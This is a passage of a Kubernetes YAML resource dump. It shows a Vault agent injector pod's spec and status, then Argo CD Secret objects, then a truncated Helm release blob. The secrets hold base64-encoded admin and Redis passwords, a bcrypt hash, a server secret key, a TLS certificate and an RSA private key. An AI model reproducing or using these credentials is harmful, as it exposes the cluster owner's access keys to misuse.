    dnsPolicy: ClusterFirst
    enableServiceLinks: true
    nodeName: k8s-m-1
    preemptionPolicy: PreemptLowerPriority
    priority: 0
    restartPolicy: Always
    schedulerName: default-scheduler
    securityContext:
      fsGroup: 1000
      runAsGroup: 1000
      runAsNonRoot: true
      runAsUser: 100
    serviceAccount: vault-agent-injector
    serviceAccountName: vault-agent-injector
    terminationGracePeriodSeconds: 30
    tolerations:
    - effect: NoExecute
      key: node.kubernetes.io/not-ready
      operator: Exists
      tolerationSeconds: 300
    - effect: NoExecute
      key: node.kubernetes.io/unreachable
      operator: Exists
      tolerationSeconds: 300
    volumes:
    - name: kube-api-access-8rnm9
      projected:
        defaultMode: 420
        sources:
        - serviceAccountToken:
            expirationSeconds: 3607
            path: token
        - configMap:
            items:
            - key: ca.crt
              path: ca.crt
            name: kube-root-ca.crt
        - downwardAPI:
            items:
            - fieldRef:
                apiVersion: v1
                fieldPath: metadata.namespace
              path: namespace
  status:
    conditions:
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:14Z"
      status: "True"
      type: PodReadyToStartContainers
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:21:39Z"
      status: "True"
      type: Initialized
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:20Z"
      status: "True"
      type: Ready
    - lastProbeTime: null
      lastTransitionTime: "2025-11-29T11:13:20Z"
      status: "True"
      type: ContainersReady
    - lastProbeTime: null
      lastTransitionTime: "2025-11-25T15:21:39Z"
      status: "True"
      type: PodScheduled
    containerStatuses:
    - containerID: containerd://17cc355f4d8bd4924a8c7f460274e2740b4c0fe1aeb1798204e88bb308894746
      image: docker.io/hashicorp/vault-k8s:1.7.0
      imageID: docker.io/hashicorp/vault-k8s@sha256:8c18ccc87fd72930fd0c3f12ea444e9e57e83f119b93c546ed047aba29a05c5f
      lastState:
        terminated:
          containerID: containerd://3a7a9a800efee666b5c3a1e8c1f4f1f64afc2d4bb7f68c63bdd77dad612298ea
          exitCode: 255
          finishedAt: "2025-11-29T11:12:42Z"
          reason: Unknown
          startedAt: "2025-11-28T13:07:55Z"
      name: sidecar-injector
      ready: true
      resources: {}
      restartCount: 2
      started: true
      state:
        running:
          startedAt: "2025-11-29T11:13:13Z"
      volumeMounts:
      - mountPath: /var/run/secrets/kubernetes.io/serviceaccount
        name: kube-api-access-8rnm9
        readOnly: true
        recursiveReadOnly: Disabled
    hostIP: 172.16.30.16
    hostIPs:
    - ip: 172.16.30.16
    phase: Running
    podIP: 192.168.133.190
    podIPs:
    - ip: 192.168.133.190
    qosClass: BestEffort
    startTime: "2025-11-25T15:21:39Z"
- apiVersion: v1
  data:
    password: V0JrWXdSam9jQ0pJRTQxTg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-21T20:15:27Z"
    name: argocd-initial-admin-secret
    namespace: argocd
    resourceVersion: "75182"
    uid: 367779bc-0a57-4de9-a249-955910bacdfc
  type: Opaque
- apiVersion: v1
  kind: Secret
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: notifications-controller
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-notifications-controller
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-notifications-secret
    namespace: argocd
    resourceVersion: "74946"
    uid: c1db56eb-c5b4-4324-96d8-0cfecdc84750
  type: Opaque
- apiVersion: v1
  data:
    auth: eEp2V1RyT3JBZnhrUDRxUg==
  kind: Secret
  metadata:
    creationTimestamp: "2025-09-21T20:15:09Z"
    name: argocd-redis
    namespace: argocd
    resourceVersion: "74918"
    uid: c3dc04cc-fefd-4475-8492-2a3e46471533
  type: Opaque
- apiVersion: v1
  data:
    admin.password: JDJhJDEwJFpZZGVaZ0ROZy8vbUFqRFcudnpyY3U2aGxxWDkzUURuY0hVN3hUUWs0NnFld05LV3Y3OEJ1
    admin.passwordMtime: MjAyNS0wOS0yMVQyMDoxNToyN1o=
    server.secretkey: VHd4a1VpeXh2bEZJSjdkOGJHazlXYkQ0WTFaT0ozckxxV2p6Q1d4NWpWYz0=
    tls.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURZakNDQWtxZ0F3SUJBZ0lRZGVQT1VUVnRZdlZNdnpmUXdrbktiVEFOQmdrcWhraUc5dzBCQVFzRkFEQVMKTVJBd0RnWURWUVFLRXdkQmNtZHZJRU5FTUI0WERUSTFNRGt5TVRJd01UVXlPRm9YRFRJMk1Ea3lNVEl3TVRVeQpPRm93RWpFUU1BNEdBMVVFQ2hNSFFYSm5ieUJEUkRDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDCkFRb0NnZ0VCQU5ZOEN0bzY5UmNzMDVOd0xkRG92bDdmR3FGME5Mc3hReVpWZEdtT1FwUTV2N2R4TGkrZ2NLTisKeW55VC9KUExGU2h6Q3dCUWZrcUNrZndNRVFIYm0rbEllcEIyVko4ZFZQRTV5SllESWlHQThvMzc0Q0pTVHhvSwpjWmV3MHVXcjdaOVZFUmV5cGNPcDhwbWtmNjZyUzlZOFJCd3Q2ZnQ0T0Z2cUdySzBEeHpHUkVZdFhGV2xoZUZRCnNYa1lOZTRQcTdJbXMxbW1jRkMyeWNPcXhHellGOHhmR1crL2lzTCt1UUxZVEpFUnhCVktqc3VHUVFOMFNVbksKSVhZSEk1eU5oVWlQM29DRlk2b2cwNHE3dzIybnVMd1J6L3ovTHM4azMxdVBpQU5rNUJIUUxpM3dzc2lmd1A2TgpxV3lwMHlPczd6NTFBR2ZvT2hZVmRUVnRCOUJwWGMwQ0F3RUFBYU9Cc3pDQnNEQU9CZ05WSFE4QkFmOEVCQU1DCkJhQXdFd1lEVlIwbEJBd3dDZ1lJS3dZQkJRVUhBd0V3REFZRFZSMFRBUUgvQkFJd0FEQjdCZ05WSFJFRWREQnkKZ2dsc2IyTmhiR2h2YzNTQ0RXRnlaMjlqWkMxelpYSjJaWEtDRkdGeVoyOWpaQzF6WlhKMlpYSXVZWEpuYjJOawpnaGhoY21kdlkyUXRjMlZ5ZG1WeUxtRnlaMjlqWkM1emRtT0NKbUZ5WjI5alpDMXpaWEoyWlhJdVlYSm5iMk5rCkxuTjJZeTVqYkhWemRHVnlMbXh2WTJGc01BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQnJJWHNnaDltOWdTczMKMFZhNHBOVERBNnF3Rk9GTUx5RERtcTdKSjJKV2RnZ05xUzhkT2s2c3ZzdzJqWjRLTFZLeHQ0TS90ZmRBR08vcApkTllNN2ZaSE9DS2tHR2JZSGd6dkUvMWozV0dMM2dOTUxLb1Z0ZFhnSEZPa2JhU3RHcGFWWjR5RnVhaGh6eWRUCjd0c2pncjhpaWt6cENtaVZSNlU0ZzhWQTBaTHZjM1poR25IdWpubVdITWhnbnFOMXNCMlJPaXBZMXY5SUZzZE0KclRhR2hXN3FUdDIxeHhsR3BhSDRKM2JZbVk4YWdCak9yZTdkSk44ZHZPYWtoK0w2WUhZL29QbWg3WTlnVEV3ZgpvNmRRN2ZJT1dnTklWOUJueEdYY2IzZHdzbXA0dEtzTVZ4QnVaVTBmWUxpQUQvcHZzK0tMTVY3YW81TnRLRnZ1CkF6MkV1QzZyCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K
    tls.key: LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpNSUlFb2dJQkFBS0NBUUVBMWp3SzJqcjFGeXpUazNBdDBPaStYdDhhb1hRMHV6RkRKbFYwYVk1Q2xEbS90M0V1Ckw2QndvMzdLZkpQOGs4c1ZLSE1MQUZCK1NvS1IvQXdSQWR1YjZVaDZrSFpVbngxVThUbklsZ01pSVlEeWpmdmcKSWxKUEdncHhsN0RTNWF2dG4xVVJGN0tsdzZueW1hUi9ycXRMMWp4RUhDM3ArM2c0VytvYXNyUVBITVpFUmkxYwpWYVdGNFZDeGVSZzE3Zytyc2lheldhWndVTGJKdzZyRWJOZ1h6RjhaYjcrS3d2NjVBdGhNa1JIRUZVcU95NFpCCkEzUkpTY29oZGdjam5JMkZTSS9lZ0lWanFpRFRpcnZEYmFlNHZCSFAvUDh1enlUZlc0K0lBMlRrRWRBdUxmQ3kKeUovQS9vMnBiS25USTZ6dlBuVUFaK2c2RmhWMU5XMEgwR2xkelFJREFRQUJBb0lCQUFLMTJ2QUZha3RqTEtrcgo2TlpNWHlhL3FreGIvQTVCcmlpVDg3MVFJc0pSeFVPU3BNVXI4RHlEZWVsWEhvR2RFK2Z5OXpMN3hoVkNiRVVICnZ2V3pkMjkwb0EvNVhveWMrWjFHQ05URE5tSzlmWHpUamJscm5saE44MjRMak1wcWI3N3pjQ2ZKQWE4OG9BNC8KZVIrejB3RFh1cDdkNjNuelpWL2VJemRWSGNFYVNBZVNvdThPdzRZVTVwU0VFR0JNcGxDb21Qdk4yVFNWTUl1Mgo5Rnk1OXhxYUpkbjBFTytKc0JCekgvWFBpUTErVUZUUGo1R2lkbXhrb1VCSklyVGZvR3FZRWdtYUZjd3FhMDlHCldtM0F5UExYOGdTTFUwQUN4VDJONFhlcEJCUU9rSUtXd3l1czlqbGJxdjlNV00vK3VObU44QXdKT1N0TGdnVU4Kb0ZHZlBXc0NnWUVBNlJLbHlLT0VHZzZtUWEzZ1NzQWwwMGhaQlVXdjBXTHcwcEMxKzd1M0lXZnpUdXk3WFVwRwpCMk5GSGIreklDeTlnSjV0d2VUUENxbDFpMmhlZHd1SDN4TVJRYjd4dEV2MnMwYWdYOXFWTlhOa2s0ZHpkNXlXCkdOVyt2MkZsNW56Z1pwbHpQODNWdFkvUitrZ0V6M21WekU5c3RUNzRpL1hHenpiN2FJZ1FzRjhDZ1lFQTYwNy8KNTdjcC9Ddm52cW9VdlduY0xzVC9VVXlreUtWZjVYMDlYNi81bnRwNzlYdFBFaWdnV1ExclZ0WG5kZjVHZGZNVgpRNE1DVzhPVkN4ajZPdHVOdjY3c2JxODF6LzJIQ25QMHNJeElyZDNQWGt5U2F0aGxHYVZla05WdjNYWjY3Rmc5Cm82Q3dyR3R3dXJ0ZGVhdnlQdnkyRjJHaXVRb00zdUpic3ErQ01WTUNnWUFWMnBMQzRsb2ptMVlKZUlVOFhSSHUKNHF5K0tzK1dnWUYxTE81ellTR0Z0MXAvL3dCK2VkVmhJZlM4R2xwd1hPR1Q2c2I5MURkNWwzUVhFejB3U2x0KwpGaXFiRUkxWFMzd2hTVEVHYTlkcndKc2duaVc4aEdrcWdQZzJ0Nm8zVjJRdkdwcE0xRDhDbkM2akdoZWhZSlFrCktScFhVRVU3MGxyRzJTL3ZtRHFBWHdLQmdCSWJVeC9PZldHVk0xRDluM2p2MDJ5WjVoZW9jU21yYUJTdHJYSlcKaFR2UERpaldvei8vYkhYTnpZdXlEQXlOVTNpeUN0bldFL0Zodkc5Tkxid250dUdnSVR0bktobm1KV1VOaFMrcwpxODhOT1c3Rkw2TWZJYkIyaEM5YTdTKzZkVDBJa1QydEdNczd2VUh4TndFczFRZzV3LzFLbXczb0V4TjNrWnpQCldwSlhBb0dBZXVvOTVQc0NlS1FMTWlBSXR4Ny9OU3V5ZEFsUFYrc0RiTTZlM25xcER3WjZTTjZ0VkZRNWxGTy8KTWVpM3p1MlhzdjlBVUhIN0hKQ0hHR0JLUGl4Tk42WUFSZ281NmlFeFRuNVduZkhwTW5sVjNSbGtUZTlLSU9YRAoyMUtmSmx4V0YzeWo4N3NQTlZCY1AvY1BvSXBNS1F0MlZsVGJMZnhkTG1mRWptWlVhSUk9Ci0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tCg==
  kind: Secret
  metadata:
    annotations:
      meta.helm.sh/release-name: argocd
      meta.helm.sh/release-namespace: argocd
    creationTimestamp: "2025-09-21T20:15:12Z"
    labels:
      app.kubernetes.io/component: server
      app.kubernetes.io/instance: argocd
      app.kubernetes.io/managed-by: Helm
      app.kubernetes.io/name: argocd-secret
      app.kubernetes.io/part-of: argocd
      app.kubernetes.io/version: v3.1.6
      helm.sh/chart: argo-cd-8.5.3
    name: argocd-secret
    namespace: argocd
    resourceVersion: "75189"
    uid: a3c0dbcc-20c5-4486-99df-64a228e94132
  type: Opaque
- apiVersion: v1
  data:
    release: SDRzSUFBQUFBQUFDLyt5OWFYT2p5TGMzK0ZVYzlieVppZW1xQm1SVkZ4MXhYd2haSUxDTUN4QUo1UFFUOTdMSUFwTWcvaFphMEozNzNTY3kyU1cwZU8xeVAvOTN0dGd5VDU0OVQvN09mMytKN1dqMjVjOHY5dE44NFhwZmZ2c1N4QStMTDMvKzk1ZUg0R21aL3FjM1M5QWltM2xmL3Z6Q1VFei9LOFYrWmVncHcveEpYLy9adS83R1VPejFIMnlQcGY4Zml2bVRvcjc4OWdYWkwzbkttNkZaU3U0bi95emRweUJKZzBYODVjOHZZcnhNYllTdTNFV1U0SnUrL1BabG1kcnBhdm5senkvVmQzNzdFaS9TR2Y3cHIxaU1yeFpQM3V6cEtsMWMyYTQ3V3k2dlVuOTJ0Wnc5cldkUFY3cDRsUzFXVjc2OW5wR2ZIeFlJTFRaQlBMOWFrQzh1Ly93ci9pdW12MTJGSzJmbXB1Z3FXVHlsWHg4V1R4djd5U012Q2R6Wjd6bTF2aGJ2L0JwZjVUOWMvYUIrVUg5ZVgvZndPNjZ1cnE3czJNTmZpYThXeVN3bTMzT2VGcHZsN09scUVWLzVhWnI4K2Z2dmFPSGF5RjhzMHoveDArUVJQT3drSmZlN3M2YzBlQWhjTzUzaGx6TGZybWF4N2FEWlZSRFBuL0RjZ3Z5OWF4dXRac3VyaHdETnJ2NHJIOWUzNHBaditSUGVmNUYzejRMVW56M2x3N3U2K25vMThNZ1FyK3c0WHFRMkpzSFZ3K0xwYXJsRVY0bTlYS2IrMDJJMTkvOGtvMTMrK1R1WitsZlgrL1kwczczVW4za0xkL2t0V1B3K2kzOWZwdmd6dnkrUzJaT2RMcDYrUm5hOHN0SHZ4U2grLzE4NWdiL1NYNWRMOUxYeDdub3MyaXlmOUgrNWkvZ2htQysvSmZhVEhTMi8vZldsbXRGeTVxNmVabjk5K2ErdWlSTnl6NTZpSUxiVDJaV21UYTdzRkMvM1UwbXRONXdHOHpWYW9UUkkwT3hyY2VucndubWN1ZW55cXgxN1gvR0NMdkdLL1JVUEh0TFowOVhUekhaOXpHZDQwTHFZTXgrV3NhczBpR2FFS1YwN3ZrS0xlUkJmYllMVXYxb3RaMDlZT3YrOHNyMG9pRXRtdW5xeVkyOFJrZFhaTEo2OHEva3N4a09kZVZmZTZxbjhRcENMRFZuUWIxZFc4ZmFIb0hoSDliQ1RYVDJ0NGppSTU0VHhTNjZ2V1hvK1M2K1dNL2RwbGhhL2ZBM2lJQTFzOUpXTTZtdHg3ZXZpNm5HNWlCTTc5Zi9qcnkvLy9jMnpVL3RiK1pYLytldkwxZjkzNWRqTDJmZnJxNjhlL3REL2hZZTA5QmNyNUYzbDBsOE1tN3k3K2lJbUhaYTg1Wlc5dkZxdTV2UFpFay9VeWNqZHdpeE44WVMxMUg3Q1B3dXJ3SnM5WTQzbitmUC91Y3lmLy8xL1hYOGw5UCs2V2dieC9HdnF6NzY2S1BpLy80cS8vTTl2WDF6ZmZrcXhab3htcVkybmgvOXVhTSt2UkgzNkMvSkRPWVI1a1BvcjU1dTdpTWhva3FmRll6NHNmNFlpck1vV3F5Y1hLNjcvOTdKSGZrK2ZaclBmSXp1SWZ5ZmpXZjdlK1BTNUY3amVsLy85MjVmMTdHbVpxOVlmMy9yZmVnY0tkM0ExbnFIb2lyeWVxSUxCMDN4eE5iejU3Y3ErOG1ZdXNwL3NORmpQZnJzU2d2UStXVjY1aXpnTjR0Vml0Y1FMR2F4blQ5bFZ1bGdnOHV6dHlwazl4Yk4wdHZ6MjViY3Y0U3pEN0VDbVd3N3R5MisxN1prSDZTSlo0a0hpR2FaMkVNK2U4TTB0T2hjUHJaNVFnODdsaFcvRjVJUEY3MS8rNTMvLzlpVnd5Wnd1NWdoN3VaeWx5OS9SWXI3NGxzUnpQTGdrQUJYRjFnejVKV244MHZ0R2YvdU9mNjMwNXhJemhvM1Z0dTJXZzNGOU81NFRBL1gxS2d4aUQ4dTBOL093Nm10US8wK2lqZDNWTWwxRVYwOExORk5YYUliNVBzRldpQkRVVGhLRXJRRldRWmp5VHd1RVprOVg2Z0xOcnA1bU9UdjlGUk9pdGdhd0RPYng3U3o3OHVlWGh5Q2V6NTZTcHlCTy83eGl1Qjg4dy9EOVA1anYxSWdmZlArREc5SEQvZy9tbXFOcC9nZEZEVy9ZRzRicE0zL0ZxeWZVbHF3OWN0Y3Ntc3lUL3d4bjJmS2J2WFJ6MGNGYXBTYlpYeXVLNnMzK2cvN0c5TDlSWHlsOEExcTRJYVphcGNvcXo2SC9sZWxQYWZwUCtzZWZEUHV0MS85TzBYOThwZnFGMnhCZ2ZmRGx6eTlMMzJiNjMvKzBlelBIL3U0NDl2V1A2eG43NER6WXJ0M3J6ZjU0b0dkMmIvYmRzMmZlSDljVWZlMDkvREg3dzZIKytNTzlacis3REVQUkRrV3o3SGNpQzhrczltYXhHOHhhblBjMDg0TGxWOS8rMGhTZzYyKzkzcmMvdnZ6MjVXbVdMSlpCdW5qS0dzem0yYkdYZWJQMURHRmIwaUJWSWJsZi91ZC8vODl2WDlKWmxDQTdiWCt0K3ZGMytYNDYwcjZsMnhTUGpTaWRMN1BlTWhVRkZJbkR2bUVaV3hxYWR5c25ZaW5iZ0luRjhKUnRzQ3MzNnk4ZHhydURKa1RPa0dNZmxHU2tBazVUZFprREl6QVNCWGJqQ1dqdEJOeks2YWtKak5DalphcUp3L1IzazJpN2h0UVdlUkZZaWtOcURrd1ppUUwzNkREOXlEYTgzU1RtZkRmaVV6ZTdEZzYreThockoxWXpoOWt1b1NtdUhJR05KMUh4cm1od200OGRyR0ErcGo5bUdUVzNEV3MrUWRCM3hnQzVXZi9JZU9EYWpXamZlOUZjeW1jSHFjaURIZFM0dWNXd0t4aWgyTTM2Rzh1VWZNZThXNGxSZiswSktMSU4yU2Z2aTJVOFo4cU4yS1VqZ0l5OEsrdEhUazlLTFZNSnJFRStmbWowUTNGTXM4TTQvV09pY1FrTUJpc1E4VXZQQUx0SnBLTFo4T0sxQ0tFNUp6U2JDb0NCeG1ZKzBUamdNdnJjRXVTMUU4RUU5dTVXcnNCbmxrSHZKb0VVUXRQZlFWTmlYa2pyNm50cXhHYU93Vk5rSHFISzY3ekVLeFN2cTdveWQzb2NXVnRScU9ZaUZEUjR3ZmpLdFpEbUJiMlFFeW56QjVPNjFZenJ1ZFBEejRoelQvZ3h0d3o1RVpyeVRoeXJDNmh4NVh2bVFBL25NNE9sUmNIM3ZVaWZlNEtQUkFHdUhXRzc5aGkwZ2htM2RzZjUrdC9QRjVnT2Mya3NyWjJldXJGTWRTSGVMRmc4RnhqeHRETlc1bUlnem04RnRJSUN1RzdJMUZ5TXFqa0Y0bEFxK1FUL1hjM0pqZGkxTitaOFQ1Z0h0OW9neGZPNDA2N25kZzhFMEpBcFo4aHRuSjVFVFF5NGRtUFBkeU5sN2pJZzh5TDBDRFgyajFuR0pVNGtMejFEUmVKUTh0M0lXMDhNT1p4RWtIYUU3Y295YUNRR2d4VmVsNGtwSXplR3lBMEdxUk53ZTg4T0FzdVVZaWVqSCtHd1Q1NXplNXh2TVhvZ0RxOHhmZWYzTjRQcnU1c0ZKZC9jRVpwZ1htalJCYTk5TUppTFE4N0hhNExwNmdUYzJoWEFxbGlEd0kzWUhoNi9LR0IrOENsdlBQZyt5ZGlsdzhpK0kvaHJ0NmQ4Sjk4WjRya053Z1o5eUJnc0xDc0MvMmd4WU9NTk9jb1c5TG1GNlZISm5VN0dCbzB0bGxQMlFWbk14ZUVnZnc2UGdmQUloOGVWUHh0TGE2OG5JemZnc1B3c3ZMRzZ1UTkrckIyQmZiU003Y0xweWRUOTQzeHpmek40eHJjTGVYNFVWMWgrTEVOYVFnM1Qyc3NJUHdxb3BBZFQ4Z3FNRUw2bldGdXNLOUFLOWlUazl1NVcwT2o3VnJSRlVDakhBQkpNVzNlZXowM0VlbW5FaDdBY2swRjBvRi9vaE1qcGlYTzNKeS9GTWVlN1BabXl4OUxhTTd6RmZURmZkN2RZVHhnK2c4eVAxR0tVbFJzQkh4SmFxV3VyZDdleWpSOXJhRnl2M1o1S3hqRmgyQTAwSmQ4VDJHeGkwTDRUQTk4WnN0WDhKcGxjeU05MWVxZlJPNWZacEs3QTc5eWV1bkFqbG9iTS9MWVlONWIvS1RTVlFnYTdiVVNUSmk0REhqMVRRbUkwbU52R2RmN2N1TlJIWEdRYld5UUtQTlpaRkRTbDFEYjZlRjNtT2kzZmlRTFdUMmp0bWVMY052cXhHNEdkdTF2TTdiRkt1ZU03ekllMS9NUVNzZ3lWc2dVUU9veThtMFJvUFdIQWF0S1RxWHc5V2N6WG1XV3FhemVnVTh2bzA1YXhXVmZ2elg0OGxucHZNaFZUeHdSTFQwQWJSOURUK2g1NmJVVUpzbnJxYm1MZ01kT0UzOXpONGhick5tS2pCYkFWaHo3bDBETGxZcDdJQmd2YklIcTNxWWRydWtWeWl2VUFGT2pFQ2ZySWlmakFFVUFvQm1FaURpWEtqUUhXQjBUUEtBYWtzRDdFNjIweGZ1SkViazVQSGtnRmYwYTJLZTBJcjJNOWdtbW5jWThXbGlHQmpRbjlHVVRaUTQ3R2ErUkVmQXFuaTdsbHFDbStWc21jeG1YNGI0ZWg1amtmZUd1c3h5QURWamtmZ1ZBVVZEcWZYODdEdHRIZmVRSy9kSVRjTDVnRUhIUjZXTjc0bFNqQXBOUXZCVS8zc040WEJha3ZqaVhhaWZwNEx0K0g4K1RKTXlSTTM2VTRwRmZpbU5CMFpURmJHZ3I2dkswdis3NWpnSjByOEk5UUUrZVRnR01mTkM3R3ZJbDV6bzBBSlFwWVJ0aEhPS1FUSjBLVWJmRExpY0dIam9GV1dMZGFQUWxoSDhISnVIKzVESXZ0R0dYZlVNRXM2NGVXcWZxRXA0dXhQbWppL0dISUJaWXBJL2xSbVU4TTVYWVkrR1NPTHVPdlBXT0xhWUljQVZCUXEyaVNlQUx5blNHM2c0YWM0YkZaWkEybG5tVktvWnR4dnB0eE84L3dZbWpLRkRTVXVSV0hPWjFHSHZLd1RFYnVYTytwdmh1ckNBNjVzV2VnRUsvWkMyVWdocVpLWVg0MjhXK21oTCs1Rm5kS1d2Qkg2cGt5L21hS3h6QXg1S1d0aFUzOW5FQnNINEtMZUpyNEdxWGZKUVpobDgxZE5meXlSMGNiQkE2RFFxdDZsMXZaMkRmaC9YeHVjeFdQUVdBemNjUks2dWh1bGNzdVdHSy9abUppZjRpUFBBRms0aGpUVThaempZdHZBSzFZV3hpaHpPMWhua1lwMUxoK3lldllQeGFGN1JveTJHWjRDYmFESHJiamhGLzFRc1lhTWpER1k1S0w4WG9NMUxqUU51WGNmZ3k1eEJ0ZXp3M3MrNHpsaGRNRFN6amtDaDJoMTNJYjhZODI5b0dDU2gvVGJxVG44eHpEeEdyN3Y0K08xbSt0alRVa3ovN1VkUFhteVAxcjIxQWZKNlYveEF4S21xM2dNRitmTC8velcwY3c4NS91SW9vVzhiYzBRYTF3Wm4wYmNJeHRVTi9Gc1l5OFlXNEd2REhhd0NtTldaRENaTWRzZmh1d2hTdjc0MS9ERUZ5N2hhbkFTMERVbDhhdFlla2FNTDd2eHNwcUdDeldlRWk1TzR6ZFByU0MycUc3VktyVityN2NQWnlFOGdLTHhpVE1sNndacXVEbnBqMkkzRmhLc0VwNkdISllSYStzYk1EY1pkd1BjYXhtdGtGUFBRTkd0am1maXdFVmlFTzZjc2VKcTBIK0oyN3ErbmFlM0dDV3hpYlAwcmdRR3REM2pDMGxDc1FkN0l0am5yYU1MUTV4TUR2NDduaFF6UHY2RmpENjNDUHFVODZmTjVXNS9IaFgwT0Z1YmtYZzBUSkorTE56R0JxSm81UzJJcXoyQVlWZG1JSitrVzJBSlJ6ZnpTMXNwb1Z0NGhpSXFDTHNrbnVDbjdqWllGR3JKZlZlenpoTUJ5SktibzlEVmhhdWhpR0tzTGc0QXZDeEdCWHZKdUdVWmFDVm0zR1B0c0JuM3BETGFTOGdDb3VISTJ6bUZuYnBUVG1mWDhiNStkdzMxVHhySHFEbVVBQ1JiZlJQdWM2Tk5XMkh6REFHUzBjZ1p1TW5kay9jQ0lWUWE5eC85dDU4ZlQyai95amVXRHR4dk1IMFR4d2cwekNDeVd3NENDYllGSmxWYUlpY3NZeWE2eThKT1UvZFArWnpzYkNiTVJ5c2xJSjNwMlRPelhEeXhIaUp1MEhDYngrYlgzR281alFZOWpWb2JCRTJWUlVQVjJNYXJQUUlMS0hCNzZEV3Z5ZjM1L09nbmVpTzhBL2g2UWlsZWc5RU1FTFg0bEJNMjNSdHFNcDhuaHZzQ25pQ05SY0RzSnRvWUlkRG1JUHZsT043L3ZjcU5YUHVmektlYkhHcjlDUmttU29TaFZ5V1JhR3Bmckg4eXRqZG5Wdm1YY2w3d1V4cjZaRzVJL0FCTkRhWDZKT0N0OFd6Tk5sZjUvSi9nTmVYSWU3L0R5eEhyckRGb2R4Y0RKWTQvSHdRZ3hmd1hxVGsvODlML1NsbjBPQ3hlOEpoMlJGSDhrZ1UrSTA3NUJob1NqdnN0bDB3MTBwSEFZR1B6K3RRZnVQeU5iMGJ1alIyQkRhd2pNM0tObWdmTXZyS3crOGJueGcva3BBM0Jwa1RrREFzZ1kxeGk1aGVFVmhlTVA3cW1TbFozMjB1OHczYVlmcERCbHpyRWRnNDJMM1UrYVV6SEFRR2ZaMHFHbTFiR3YzOWJrajF6YXp2aWJrcjlPaU1RWGlHVHF0YkxWK2pJemFEd3pxUDJJdHliWXZ2bXBsWXlZaGliSmZpVUZ6bC9NRFRUazlGSjJrV3ltdkhvREZmTFMxRFFzNzQ3Z0o5bXRQU3pRcWFSRDV5QkdybE12TjFJUnZmRDF6enFBNUhpM3NDY1VqY09BcWFQbFdPOGRnekxvTjFoVXc1UGVtdUdHY2dEdjNRTm1SS0hFcjFlNElCY1ZzOEFWeDd3MEZnTVd6cUNpd091Y3RyOWY5RHFVcW41TFlrSkdrbnkrUTJrNmhsQzBuSTdCajh5akk4QklkME1Kc3U1dGp0SlM1UHJLTFpXR25xc3lrMEpjWTI1SnoyRVphaFBnbGQzS2lQUEFIa3JuZVB3M1JJSGNiNlhvVWlnd1RiOEJWSkY1blNDcG9xbG9YRXlkaUtMKzhQVWoyTnRZbExXZXJuZE9KemVXclRwVTcvNWVGZTgxckR4akhidFJYeHkwbkVoMUJBSkd5empHMUovM2toUjNOUFlLRmwwTXNpcmRTWlpxeFNLSldzeXRnWGVQU3dtMTNJcHJ0Wi9HdlNxM2dWeTBmaVJKZndBZDFPWjBZTm0zYU05Z3k1NXlTZjVqd2hOdGNZenkvTjF6My9Sa21EMm04N3VuNkpFMk8vdGY4SVQvTk9ZWFBiNmVNVzM1N2lLVVplT3lhM2RpS3c4bTRhM3lsLzYxcVR2YlJyWlNNWk5uV0k3dVN4M1YzWnB0b3ZkYVpOMHVuWHQ3ckFoczNyd3lCUEFUa01wTVF4bDBFRDgrUGRIQW9vZ2hISXlQaUYvaG9LWUZmY0srSlFsOWcwRXlSdUJIYWlvQ1l3Z3NqTng3dHlHRXpEUEFYcFl0MkxiV0hHaGJZQkkyaEt5SW1WdVdWQzN6YTJpUldoSlJubk9NSHozUTFEL0MxczEyRkV3dTF4ZUV2U2E3eThobkhyZmJGdFF1UUVlZXBERk1BMXZ1YjJpQ3lkR0t1WGVCRllpV093dytFbk5QME5TUVZoV3gxZm9rc2J0RzNheWlJMGJLOWQzOGUyM0lrUU5TdjhQSEhJNVhMY2tNR1QvaVZlRXhQSFZJUHZQN1d6Y2wrUGJVL0dia2thU3lWemhhYXljZ1UyVkl3K1pldk5aNlFkNFlNZzE2dGQ5OXpQRi9PYVR5UUVSMFhhaUpZZmJRR0VuckZObk1pVElOTmZ1eEVJMVRISWNMaXRtajZ5ZW9Eb0pQS09JZFpsSUlHTVQ5MEhnKzNkelNCUFNZNjVOUnpWM3dNQ3lKenBva3BYNWo3Y2Rrcjg0WjY2ZGgvcmErS1FTeTFUZmJSSGhYN2FOYThONXJsdjlCNjZwYlhtcTBvZkJNVjN4K3JhRmRpbHczaDlqUUg5KzREckdJTy9kbnU1UDkzaUJSTHorTWpWQmlIaGJ3WlFrNWpRYU9VSmlHdndWNEI5VmpnVWsxeEhkTnhENklqOVdJRGxNSU9HT3ZKTUNhL1gxR0o4Qk1kZ2lkZEtNN3lWMDJ1c0xRV3VvU0hUSkoyZDB4dnpPN0lOYjRGMTF0MTBzQ20ySFRZT285YmZBeXB5SStwN1JZZkNidWlWVFJEcmEzaHREWjZ5R0wrMEU2MXJZaDRyZCtscFFyT1ROamJYL1FmK3k4Uk0vOGgvb3pjTzA4ZDZxVmpuZXR0Q0hIS1UwK1BXanNER016MUYySS93Qkhiak1OczE3SVZkNC9tTzM0WEg3a1pnNnhub2RYUStSVE9COWoxQlhoUis3KzYrM283NG0zajlrRllkOUNFcGR2S05icnZXczAxMTBkUlZUc1NHc0tHREpsRStiN1d0dStmdFBNR2V6RVRFaGpYa3BVL05UQTd0Njd6OWI3Mlh2aXZscFpCRjVFUXlxdGV2MUdOdG05YTRmbUJESG9iY2lxUndzYjIrc2ViN3NYMlhEVGlnYTZ6MlhjSUx2dTlHU25CTDVDQWg5bHlwN2ZIM04rTHRlZUZYMUxvY1lYMUJWL09jYUc5S2gwUC90ak9QZHp5djV6QjBpbU5lS09BNGt1MDdCdkYz